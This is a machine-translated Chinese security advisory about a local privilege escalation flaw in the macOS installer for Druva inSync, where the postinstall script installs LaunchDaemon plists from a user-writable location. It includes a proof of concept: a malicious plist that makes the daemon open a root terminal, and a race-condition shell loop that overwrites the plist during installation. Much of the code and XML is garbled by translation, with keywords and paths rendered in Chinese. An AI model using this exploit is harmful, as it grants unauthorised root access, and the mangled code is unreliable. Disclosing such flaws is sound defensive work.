通过安装程序Druva inSync系统特权升级
Druva提供的安装包的macOS(安装inSync.pkg),“postinstall”脚本包含在安装程序允许从一个普通用户特权升级到根由于不当LaunchDaemon脚本的完整性检查。
用于生成这些守护进程的plist user-writable目录中,而不是一个安装程序沙箱或其他特权的目录,它允许lower-privileged用户覆盖这些文件在安装过程中。这些文件后启动守护进程使用root特权。
从postinstall脚本片段:
#准备inSyncDecommission守护进程为发射DAEMONS_DIR = /图书馆/ LaunchDaemons cp" ${应用}/内容/资源/ inSyncDecommission.plist”$ {DAEMONS_DIR} DECOM_DAEMON =" ${应用}/内容/ MacOS / inSyncDecommission”DAEMON_PLIST = $ {DAEMONS_DIR} / inSyncDecommission。plist #准备inSyncUpgradeDaemon守护进程为发射cp" ${应用}/内容/资源/ inSyncUpgradeDaemon.plist”$ {DAEMONS_DIR} UPGRADE_DAEMON =" ${应用}/内容/ MacOS / inSyncUpgradeDaemon”UPGRADE_PLIST = $ {DAEMONS_DIR} / inSyncUpgradeDaemon.plist
作为一个简单的概念,创建以下plist,运行shell命令,然后运行安装程序将导致启动守护进程产生根壳而不是期望的inSync系统服务。
应该注意,后来LaunchAgents脚本中也受到这个问题的影响,但不太严重的影响,因为他们只提供持久性机制而不是提升特权。
示例恶意plist:
< ?xml version =“1.0”编码=“utf - 8”? > < !DOCTYPE plist公共”- - -“http://www.apple.com/DTDs/PropertyList-1.0.dtd”>< plist version =“1.0”> < dict > <键> KeepAlive < /关键> <真正的< / > <键>标签/关键> <字符串> com.druva。inSyncDecom <字符串> / <键> ProgramArguments < /关键> <数组> <字符串> /应用程序/摘要。应用/内容/ MacOS / iTerm2 < /字符串> < /数组> <键> RunAtLoad < /关键> <真正的/ > < / dict > < / plist >
示例shell命令:
而真正的;做mkdir - p /应用程序/ Druva \ inSync.app /内容/资源;是的| cp - f / tmp / insync系统。plist /应用程序/ Druva \ inSync.app /内容/资源/ inSyncDecommission。plist做